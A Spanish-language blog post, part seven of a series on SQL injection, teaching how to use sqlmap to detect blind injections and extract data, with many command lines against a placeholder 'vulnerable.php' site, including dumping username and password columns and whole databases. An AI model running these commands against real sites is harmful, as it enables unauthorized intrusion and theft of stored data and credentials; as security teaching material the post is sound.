lunes, 22 de agosto de 2011

SQL Injection Web Attacks [Parte VII]

Como vimos en el capítulo anterior, las inyecciones SQL a ciegas requieren de gran cantidad de consultas para poder explotarlas. Intentar explotar una vulnerabilidad de ese tipo manualmente demora demasiado y resulta muy tedioso. Felizmente existen herramientas para automatizar la explotación de inyecciones SQL y hacer de nuestra experiencia algo menos frustrante.

En mi opinión, sqlmap es la más completa herramienta de código abierto que existe para estos fines. Puede detectar diferentes tipos de SQLi, soporta muchas bases de datos, utiliza muchas técnicas de explotación para extraer información e incluso para ganar acceso al servidor. En lo que continúa de este post aprenderemos el uso básico de sqlmap para detectar y explotar un SQLi.

Sqlmap: SQL Injection Tool

Lo primero será descargar sqlmap. Por ahora va por la versión 0.9. Pueden conseguirlo en la siguiente URL:

http://downloads.sourceforge.net/sqlmap/sqlmap-0.9.zip

Sqlmap esta programado en python así que es multiplataforma, solo necesitas tener instalado el interprete de python y quizá alguna que otra librería.

Solo hay que descomprimir el archivo, dentro encontrarás un script llamado "sqlmap.py". Ese es el programa principal. Ahora desde una terminal ubícate dentro de la carpeta de sqlmap y ejecuta lo siguiente:

$ python sqlmap.py -h

Se deberían listar todas las opciones de sqlmap.

Detección de la vulnerabilidad

Lo primero que debemos hacer para explotar una inyección con sqlmap es lograr que reconozca la vulnerabilidad. Para ello habrá que ejecutarlo pasándole algunas opciones especiales. Cuando sqlmap detecte la inyección, guardará la forma de cómo explotarla en unos archivos de sesión para recordarlo más adelante. Así, las posteriores llamadas a sqlmap, ya no necesitarán de tantos parámetros.

Normalmente, lograr que reconozca una inyección, no suele ser tan complicado; basta con indicarle la URL de la página vulnerable, el nombre de las variables que se envían y el método de envío (GET o POST). Veamos

Para el caso de un envío por GET sería así:

$ python sqlmap.py --url="http://ejemplo.com/vulnerable.php?cat=1&id=5"

Y para el caso de un envío por método POST:

$ python sqlmap.py --url="http://ejemplo.com/vulnerable.php" --data="cat=1&id=5"

Como se observa, la única diferencia es que cuando se usa POST las variables van en la opción --data y cuando se usa GET, van en la URL. Luego sqlmap testeará cada una de las variables utilizando diferentes técnicas para cada tipo de base de datos hasta encontrar una variable vulnerable. Si nosotros ya conocemos cual es la variable vulnerable y queremos especificarlo podemos usar la opción "-p". Por ejemplo:

$ python sqlmap.py --url="http://ejemplo.com/vulnerable.php" --data="cat=1&id=5" -p "id"

De esta forma sqlmap no perderá tiempo revisando otras variables.

Algunas veces, a pesar de que nosotros hemos identificado correctamente una vulnerabilidad, sqlmap no logra reconocerla. En esos casos son útiles las opciones "--prefix" y "--suffix". Estas, nos permiten personalizar la inyección añadiendo algo antes y después del payload que inyecta sqlmap.

Por ejemplo, si sqlmap está inyectando esto: "AND 1=0". Y nosotros queremos que quede así: "' AND 1=0 #". Ejecutamos sqlmap de esta manera:

$ python sqlmap.py --url="http://ejemplo.com/vulnerable.php" --data="cat=1&id=5" -p "id" --prefix="' " --suffix=" #"

En estos casos ayuda bastante ver qué está inyectando sqlmap. Para ello podemos usar la opción "-v" que establece el nivel de depuración.

$ python sqlmap.py --url="http://ejemplo.com/vulnerable.php" --data="cat=1&id=5" -p "id" -v 3

Otra opción interesante es "--technique" que sirve para seleccionar la técnica que utilizará sqlmap tanto para reconocer como para explotar la vulnerabilidad. Hay 5 técnicas disponibles: Union, Boolean-based (o response based), Time-based, Error-based y Stacked queries. De las 2 primeras ya hemos hablado antes, de las demás espero hacerlo en otros posts. Los valores que acepta esta opción son:

VALOR TÉCNICA
B Boolean-based
E Error-based
U Union
S Stacked queries
T Time-based

Por ejemplo, para explotar una inyección por Boolean-based sería así:

$ python sqlmap.py --url="http://ejemplo.com/vulnerable.php?cat=1&id=5" -p "id" --technique="B"

También se puede especificar más de una técnica, por ejemplo:

$ python sqlmap.py --url="http://ejemplo.com/vulnerable.php?cat=1&id=5" -p "id" --technique="BU"

Eso probará con Union y Boolean-based. Si no se especifica technique, por defecto sqlmap probará todas las técnicas, es decir: --technique="BEUST".

Otro comportamiento por defecto de sqlmap es averiguar el gestor de base de datos que está utilizando la aplicación. Pero, si nosotros ya lo conocemos, podemos especificarlo usando la opción "--dbms".

Sqlmap soporta los siguientes gestores de base de datos.
  • MySQL
  • Oracle
  • PostgreSQL
  • Microsoft SQL Server
  • Microsoft Access
  • SQLite
  • Firebird
  • Sybase
  • SAP MaxDB

Por ejemplo:

$ python sqlmap.py --url="http://ejemplo.com/vulnerable.php?cat=1&id=5" -p "id" --dbms="mysql"

probará solo inyecciones optimizadas para MySQL.

Bien, esas son algunas pocas opciones generales que tiene sqlmap. Hay muchas más y te recomendaría revisar la documentación que viene con la descarga en la carpeta "doc".

Ahora veamos algunas opciones específicas para la técnica UNION.

Por defecto, sqlmap solo prueba uniones de 1 a 10 columnas. Así que si tu consulta funciona con más de 10 columnas no reconocerá la inyección. Para arreglar esto tienes que usar la opción "--union-cols". Por ejemplo:

$ python sqlmap.py --url="http://ejemplo.com/vulnerable.php?cat=1&id=5" -p "id" --technique="U" --union-cols="10-20"

De esa forma sqlmap probará inyectando uniones en el rango de 10 a 20 columnas. Si quieres especificar un número de columnas en concreto, solo coloca el mismo número dos veces (Ej. --union-cols="18-18").

Otra opción especifica para Union es "--union-char" que sirve para especificar el caractér que seleccionará en la UNION. Por defecto sqlmap selecciona NULL. Esta opción suele ser útil cuando al seleccionar NULL se produce algún error. Ejemplo:

$ python sqlmap.py --url="http://ejemplo.com/vulnerable.php?cat=1&id=5" -p "id" --technique="U" --union-char="A"

Bueno, con todo lo anterior, un ejemplo de como reconocer una inyección explotable por UNION, sería:

$ python sqlmap.py --url="http://ejemplo.com/vulnerable.php?id=5" -p "id" --dbms="mysql" --technique="U" --union-cols="51-51" --union-char="A"

Con eso, no tardará mucho en reconocer la vulnerabilidad.

Para el caso de las inyecciones por Boolean-based, también hay algunas opciones especificas. Cuando sqlmap tiene que detectar una inyección por Boolean-based, lo que hace es comparar la página de respuesta cuando ha inyectado contra la página de respuesta cuando no ha inyectado. De esta forma consigue identificar la página de verdadero y la página de falso. Pero esto no siempre funciona, algunas veces el contenido que se muestra en la página cambia con cada actualización ya sea por un banner, un contador u otro elemento generado dinámicamente.

Para arreglar esto tenemos la opción "--string". Esta opción permite especificar una cadena de texto que debe estar presente en la página de respuesta cuando no se inyecta nada y cuando la inyección arroja verdadero pero no debe estar presente en la página de respuesta cuando la inyección arroja falso. Por ejemplo:

$ python sqlmap.py --url="http://ejemplo.com/noticias.php?id=5" -p "id" --technique="B" --string="Titulo de la noticia 5"

También se puede utilizar la opción "--regexp" que funciona para el mismo propósito que --string pero permite utilizar una expresión regular en lugar cadena de texto.

Extracción de datos

Una vez que sqlmap ha detectado la inyección, viene la parte divertida. Solo tenemos que indicarle que es lo que queremos y él hará la magia. Veamos algunas opciones:

--current-user Obtiene el nombre del usuario actual. Ej:

$ python sqlmap.py --url="http://ejemplo.com/vulnerable.php?id=5" -p "id" --current-user

--current-db Obtiene el nombre de la base de datos actual. Ej:

$ python sqlmap.py --url="http://ejemplo.com/vulnerable.php?id=5" -p "id" --current-db

--is-dba Verifica si el usuario actual es DBA (Data Base Administrator). Ej:

$ python sqlmap.py --url="http://ejemplo.com/vulnerable.php?id=5" -p "id" --is-dba

--dbs Para listar el nombre todas las bases de datos. Ej:

$ python sqlmap.py --url="http://ejemplo.com/vulnerable.php?id=5" -p "id" --dbs

--tables Para listar el nombre todas las tablas de todas las bases de datos. Ej:

$ python sqlmap.py --url="http://ejemplo.com/vulnerable.php?id=5" -p "id" --tables

Y si queremos excluir las bases de datos del sistema:

$ python sqlmap.py --url="http://ejemplo.com/vulnerable.php?id=5" -p "id" --tables --exclude-sysdbs

Y si solo queremos las tablas de una base de datos especifica:

$ python sqlmap.py --url="http://ejemplo.com/vulnerable.php?id=5" -p "id" -D "BaseDeDatos" --tables

--columns Para listar los nombres de las columnas de todas las tablas y bases de datos. Ej:

$ python sqlmap.py --url="http://ejemplo.com/vulnerable.php?id=5" -p "id" --columns

Y si queremos especificar una base de datos y una tabla:

$ python sqlmap.py --url="http://ejemplo.com/vulnerable.php?id=5" -p "id" -D "BaseDeDatos" -T "Tabla" --columns

--dump Para extraer la información contenida un una tabla de la base de datos actual. Ej:

$ python sqlmap.py --url="http://ejemplo.com/vulnerable.php?id=5" -p "id" -T "Tabla" --dump

Y si queremos especificar la base de datos:

$ python sqlmap.py --url="http://ejemplo.com/vulnerable.php?id=5" -p "id" -D "BaseDeDatos" -T "Tabla" --dump

Y si también queremos especificar las columnas:

$ python sqlmap.py --url="http://ejemplo.com/vulnerable.php?id=5" -p "id" -D "BaseDeDatos" -T "Tabla" -C "username,password" --dump

--dump-all Para extraer la información de todas las tablas de todas las bases de datos. Ej:

$ python sqlmap.py --url="http://ejemplo.com/vulnerable.php?id=5" -p "id" --dump-all

Pero no quiero las bases de datos del sistema:

$ python sqlmap.py --url="http://ejemplo.com/vulnerable.php?id=5" -p "id" --dump-all --exclude-sysdbs

Y hay muchas otras opciones... pero por ahora tenemos suficiente. Para terminar con este capítulo les dejo un vídeo que muestra como detectar y explotar una inyección ciega en un formulario de login (el ejemplo del capítulo anterior)



Hasta la próxima, saludos.

Otros capítulos de la serie:

4 comentarios:

  1. muchas gracias por el post ahora empiezo a leerlo y a practicar

    ResponderEliminar
  2. De nada, demoró más de lo esperado xD

    Saludos

    ResponderEliminar
  3. Lo mismo digo, ahora empiezo a practicar. :)

    ResponderEliminar
  4. Muy bueno y muy bien exlicado, muchísimas gracias!

    ResponderEliminar